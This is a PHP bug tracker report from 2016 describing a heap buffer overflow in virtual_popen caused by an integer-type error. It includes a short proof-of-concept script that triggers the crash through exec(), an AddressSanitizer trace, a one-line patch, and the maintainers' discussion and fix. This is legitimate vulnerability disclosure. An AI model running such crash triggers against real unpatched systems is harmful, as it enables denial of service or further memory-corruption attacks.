php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73025 Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
Submitted: 2016-09-06 03:55 UTC Modified: 2016-09-06 09:52 UTC
From: stackexploit at gmail dot com Assigned: cmb (profile)
Status: Closed Package: Program Execution
PHP Version: master-Git-2016-09-06 (snap) OS: Ubuntu
Private report: No CVE-ID: None
 [2016-09-06 03:55 UTC] stackexploit at gmail dot com
Description:
------------
PHP VERSION
-----------------------
worker@ubuntu:~/Desktop/repo/php-src$ ./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep  5 2016 20:18:09) ( ZTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


CONFIGURE LINE
-----------------------
./configure --enable-maintainer-zts --enable-static --enable-cli --disable-shared --disable-all


OTHER INFORMATION
-----------------------
The proof-of-concept file I supplied may consume lots of memory and time. To reproduce this issue more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND heap management.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
The vulnerability exists in function virtual_popen of file zend_virtual_cwd.c. When we supply a super long command to this function, the value of variable command_length can be negative. Thus a small heap buffer will be returned by function emalloc. It will lead to heap buffer overflow when manipulating the heap buffer.

Function virtual_popen is reachable via PHP_FUNCTION exec, system, passthru, shell_exec, etc. 

CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
    int command_length;         // type is int (not size_t)
    int dir_length, extra = 0;
    char *command_line;
    char *ptr, *dir;
    FILE *retval;

    command_length = strlen(command);   // 0xfffffff0

    dir_length = CWDG(cwd).cwd_length;
    dir = CWDG(cwd).cwd;
    while (dir_length > 0) {
        if (*dir == '\'') extra+=3;
        dir++;
        dir_length--;
    }
    dir_length = CWDG(cwd).cwd_length;
    dir = CWDG(cwd).cwd;

    // --------> small heap buffer will be returned here
    ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
    if (!command_line) {
        return NULL;
    }
    /* ... */
}


SIMPLE PATCH
-----------------------
Use type size_t instead of type int.
int command_length;    --------> size_t command_length;


CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.

Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    $cmd = str_repeat("/", 0xfffffff0);
    echo exec($cmd);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==89629== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060002945c at pc 0xc636d9 bp 0x7ffe93f986c0 sp 0x7ffe93f986b8
WRITE of size 1 at 0x60060002945c thread T0
    #0 0xc636d8 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1965
    #1 0x744a57 in php_exec php-src/ext/standard/exec.c:113
    #2 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
    #3 0x745dae in zif_exec php-src/ext/standard/exec.c:250
    #4 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
    #5 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
    #6 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
    #7 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
    #8 0x8f650d in php_execute_script php-src/main/main.c:2537
    #9 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
    #10 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
    #11 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
    #12 0x41ae68 in _start (php-src/sapi/cli/php+0x41ae68)
0x60060002945c is located 0 bytes to the right of 28-byte region [0x600600029440,0x60060002945c)
allocated by thread T0 here:
    #0 0x7f6232abe41a in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1541a)
    #1 0xa762d0 in _emalloc php-src/Zend/zend_alloc.c:2402
    #2 0xc63305 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1946
    #3 0x744a57 in php_exec php-src/ext/standard/exec.c:113
    #4 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
    #5 0x745dae in zif_exec php-src/ext/standard/exec.c:250
    #6 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
    #7 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
    #8 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
    #9 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
    #10 0x8f650d in php_execute_script php-src/main/main.c:2537
    #11 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
    #12 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
    #13 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow php-src/Zend/zend_virtual_cwd.c:1965 virtual_popen
Shadow bytes around the buggy address:
  0x0c013fffd230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c013fffd280: fa fa fa fa fa fa fa fa 00 00 00[04]fa fa fd fd
  0x0c013fffd290: fd fd fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa
  0x0c013fffd2a0: fd fd fd fd fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c013fffd2b0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c013fffd2c0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c013fffd2d0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==89629== ABORTING

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-06 03:58 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-06 04:50 UTC] stackexploit at gmail dot com
Why do you consider it's not a security bug?
 [2016-09-06 09:52 UTC] cmb@php.net
-Status: Open +Status: Analyzed -Package: Filesystem function related +Package: Program Execution -Assigned To: +Assigned To: cmb
 [2016-09-06 09:52 UTC] cmb@php.net
> Why do you consider it's not a security bug?

Because it is "unlikely" that a programmer tries to exec()ute such
a long command; and if the programmer passes unvalidated input to
exec(), there are far more severe issues than a buffer overflow.
So, either way, this would be a programmer error.

Anyhow, thanks for reporting this issue and the thorough analysis!
 [2016-09-06 10:21 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=dad793630d5966a9c22f3fcd7f24b7937bd1a36f
Log: Fix #73025: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
 [2016-09-06 10:21 UTC] cmb@php.net
-Status: Analyzed +Status: Closed
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=dad793630d5966a9c22f3fcd7f24b7937bd1a36f
Log: Fix #73025: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 03:01:29 2024 UTC